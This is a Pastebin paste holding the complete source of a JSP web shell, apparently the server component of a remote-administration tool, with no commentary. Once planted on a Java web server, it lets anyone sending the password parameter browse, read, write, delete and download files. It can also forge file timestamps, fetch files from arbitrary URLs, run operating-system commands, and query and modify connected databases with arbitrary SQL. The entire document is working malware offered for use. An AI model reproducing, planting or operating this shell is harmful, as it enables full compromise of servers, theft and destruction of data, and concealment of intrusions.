Advertisement
Guest User

Untitled

a guest
Mar 30th, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.68 KB | None | 0 0
  1. <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
  2. <%!
  3. String Pwd = "a";
  4. String cs = "UTF-8";
  5. String EC(String s) throws Exception {
  6. return new String(s.getBytes("ISO-8859-1"),cs);
  7. }
  8. Connection GC(String s) throws Exception {
  9. String[] x = s.trim().split("\r\n");
  10. Class.forName(x[0].trim());
  11. if(x[1].indexOf("jdbc:oracle")!=-1){
  12. return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
  13. }else{
  14. Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
  15. if (x.length > 4) {
  16. c.setCatalog(x[4]);
  17. }
  18. return c;
  19. }
  20. }
  21. void AA(StringBuffer sb) throws Exception {
  22. File r[] = File.listRoots();
  23. for (int i = 0; i < r.length; i++) {
  24. sb.append(r[i].toString().substring(0, 2));
  25. }
  26. }
  27. void BB(String s, StringBuffer sb) throws Exception {
  28. File oF = new File(s), l[] = oF.listFiles();
  29. String sT, sQ, sF = "";
  30. java.util.Date dt;
  31. SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
  32. for (int i = 0; i < l.length; i++) {
  33. dt = new java.util.Date(l[i].lastModified());
  34. sT = fm.format(dt);
  35. sQ = l[i].canRead() ? "R" : "";
  36. sQ += l[i].canWrite() ? " W" : "";
  37. if (l[i].isDirectory()) {
  38. sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
  39. } else {
  40. sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
  41. }
  42. }
  43. sb.append(sF);
  44. }
  45. void EE(String s) throws Exception {
  46. File f = new File(s);
  47. if (f.isDirectory()) {
  48. File x[] = f.listFiles();
  49. for (int k = 0; k < x.length; k++) {
  50. if (!x[k].delete()) {
  51. EE(x[k].getPath());
  52. }
  53. }
  54. }
  55. f.delete();
  56. }
  57. void FF(String s, HttpServletResponse r) throws Exception {
  58. int n;
  59. byte[] b = new byte[512];
  60. r.reset();
  61. ServletOutputStream os = r.getOutputStream();
  62. BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
  63. os.write(("->" + "|").getBytes(), 0, 3);
  64. while ((n = is.read(b, 0, 512)) != -1) {
  65. os.write(b, 0, n);
  66. }
  67. os.write(("|" + "<-").getBytes(), 0, 3);
  68. os.close();
  69. is.close();
  70. }
  71. void GG(String s, String d) throws Exception {
  72. String h = "0123456789ABCDEF";
  73. File f = new File(s);
  74. f.createNewFile();
  75. FileOutputStream os = new FileOutputStream(f);
  76. for (int i = 0; i < d.length(); i += 2) {
  77. os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
  78. }
  79. os.close();
  80. }
  81. void HH(String s, String d) throws Exception {
  82. File sf = new File(s), df = new File(d);
  83. if (sf.isDirectory()) {
  84. if (!df.exists()) {
  85. df.mkdir();
  86. }
  87. File z[] = sf.listFiles();
  88. for (int j = 0; j < z.length; j++) {
  89. HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
  90. }
  91. } else {
  92. FileInputStream is = new FileInputStream(sf);
  93. FileOutputStream os = new FileOutputStream(df);
  94. int n;
  95. byte[] b = new byte[512];
  96. while ((n = is.read(b, 0, 512)) != -1) {
  97. os.write(b, 0, n);
  98. }
  99. is.close();
  100. os.close();
  101. }
  102. }
  103. void II(String s, String d) throws Exception {
  104. File sf = new File(s), df = new File(d);
  105. sf.renameTo(df);
  106. }
  107. void JJ(String s) throws Exception {
  108. File f = new File(s);
  109. f.mkdir();
  110. }
  111. void KK(String s, String t) throws Exception {
  112. File f = new File(s);
  113. SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
  114. java.util.Date dt = fm.parse(t);
  115. f.setLastModified(dt.getTime());
  116. }
  117. void LL(String s, String d) throws Exception {
  118. URL u = new URL(s);
  119. int n = 0;
  120. FileOutputStream os = new FileOutputStream(d);
  121. HttpURLConnection h = (HttpURLConnection) u.openConnection();
  122. InputStream is = h.getInputStream();
  123. byte[] b = new byte[512];
  124. while ((n = is.read(b)) != -1) {
  125. os.write(b, 0, n);
  126. }
  127. os.close();
  128. is.close();
  129. h.disconnect();
  130. }
  131. void MM(InputStream is, StringBuffer sb) throws Exception {
  132. String l;
  133. BufferedReader br = new BufferedReader(new InputStreamReader(is));
  134. while ((l = br.readLine()) != null) {
  135. sb.append(l + "\r\n");
  136. }
  137. }
  138. void NN(String s, StringBuffer sb) throws Exception {
  139. Connection c = GC(s);
  140. ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
  141. while (r.next()) {
  142. sb.append(r.getString(1) + "\t");
  143. }
  144. r.close();
  145. c.close();
  146. }
  147. void OO(String s, StringBuffer sb) throws Exception {
  148. Connection c = GC(s);
  149. String[] x = s.trim().split("\r\n");
  150. ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
  151. while (r.next()) {
  152. sb.append(r.getString("TABLE_NAME") + "\t");
  153. }
  154. r.close();
  155. c.close();
  156. }
  157. void PP(String s, StringBuffer sb) throws Exception {
  158. String[] x = s.trim().split("\r\n");
  159. Connection c = GC(s);
  160. Statement m = c.createStatement(1005, 1007);
  161. ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
  162. ResultSetMetaData d = r.getMetaData();
  163. for (int i = 1; i <= d.getColumnCount(); i++) {
  164. sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
  165. }
  166. r.close();
  167. m.close();
  168. c.close();
  169. }
  170. void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
  171. Connection c = GC(s);
  172. Statement m = c.createStatement(1005, 1008);
  173. BufferedWriter bw = null;
  174. try {
  175. ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
  176. ResultSetMetaData d = r.getMetaData();
  177. int n = d.getColumnCount();
  178. for (int i = 1; i <= n; i++) {
  179. sb.append(d.getColumnName(i) + "\t|\t");
  180. }
  181. sb.append("\r\n");
  182. if(q.indexOf("--f:")!=-1){
  183. File file = new File(p);
  184. if(q.indexOf("-to:")==-1){
  185. file.mkdir();
  186. }
  187. bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
  188. }
  189. while (r.next()) {
  190. for (int i = 1; i <= n; i++) {
  191. if(q.indexOf("--f:")!=-1){
  192. bw.write(r.getObject(i)+""+"\t");
  193. bw.flush();
  194. }else{
  195. sb.append(r.getObject(i)+"" + "\t|\t");
  196. }
  197. }
  198. if(bw!=null){bw.newLine();}
  199. sb.append("\r\n");
  200. }
  201. r.close();
  202. if(bw!=null){bw.close();}
  203. } catch (Exception e) {
  204. sb.append("Result\t|\t\r\n");
  205. try {
  206. m.executeUpdate(q);
  207. sb.append("Execute Successfully!\t|\t\r\n");
  208. } catch (Exception ee) {
  209. sb.append(ee.toString() + "\t|\t\r\n");
  210. }
  211. }
  212. m.close();
  213. c.close();
  214. }
  215. %>
  216. <%
  217. cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs;
  218. response.setContentType("text/html");
  219. response.setCharacterEncoding(cs);
  220. StringBuffer sb = new StringBuffer("");
  221. try {
  222. String Z = EC(request.getParameter(Pwd) + "");
  223. String z1 = EC(request.getParameter("z1") + "");
  224. String z2 = EC(request.getParameter("z2") + "");
  225. sb.append("->" + "|");
  226. String s = request.getSession().getServletContext().getRealPath("/");
  227. if (Z.equals("A")) {
  228. sb.append(s + "\t");
  229. if (!s.substring(0, 1).equals("/")) {
  230. AA(sb);
  231. }
  232. } else if (Z.equals("B")) {
  233. BB(z1, sb);
  234. } else if (Z.equals("C")) {
  235. String l = "";
  236. BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
  237. while ((l = br.readLine()) != null) {
  238. sb.append(l + "\r\n");
  239. }
  240. br.close();
  241. } else if (Z.equals("D")) {
  242. BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
  243. bw.write(z2);
  244. bw.close();
  245. sb.append("1");
  246. } else if (Z.equals("E")) {
  247. EE(z1);
  248. sb.append("1");
  249. } else if (Z.equals("F")) {
  250. FF(z1, response);
  251. } else if (Z.equals("G")) {
  252. GG(z1, z2);
  253. sb.append("1");
  254. } else if (Z.equals("H")) {
  255. HH(z1, z2);
  256. sb.append("1");
  257. } else if (Z.equals("I")) {
  258. II(z1, z2);
  259. sb.append("1");
  260. } else if (Z.equals("J")) {
  261. JJ(z1);
  262. sb.append("1");
  263. } else if (Z.equals("K")) {
  264. KK(z1, z2);
  265. sb.append("1");
  266. } else if (Z.equals("L")) {
  267. LL(z1, z2);
  268. sb.append("1");
  269. } else if (Z.equals("M")) {
  270. String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
  271. Process p = Runtime.getRuntime().exec(c);
  272. MM(p.getInputStream(), sb);
  273. MM(p.getErrorStream(), sb);
  274. } else if (Z.equals("N")) {
  275. NN(z1, sb);
  276. } else if (Z.equals("O")) {
  277. OO(z1, sb);
  278. } else if (Z.equals("P")) {
  279. PP(z1, sb);
  280. } else if (Z.equals("Q")) {
  281. QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
  282. }
  283. } catch (Exception e) {
  284. sb.append("ERROR" + ":// " + e.toString());
  285. }
  286. sb.append("|" + "<-");
  287. out.print(sb.toString());
  288. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement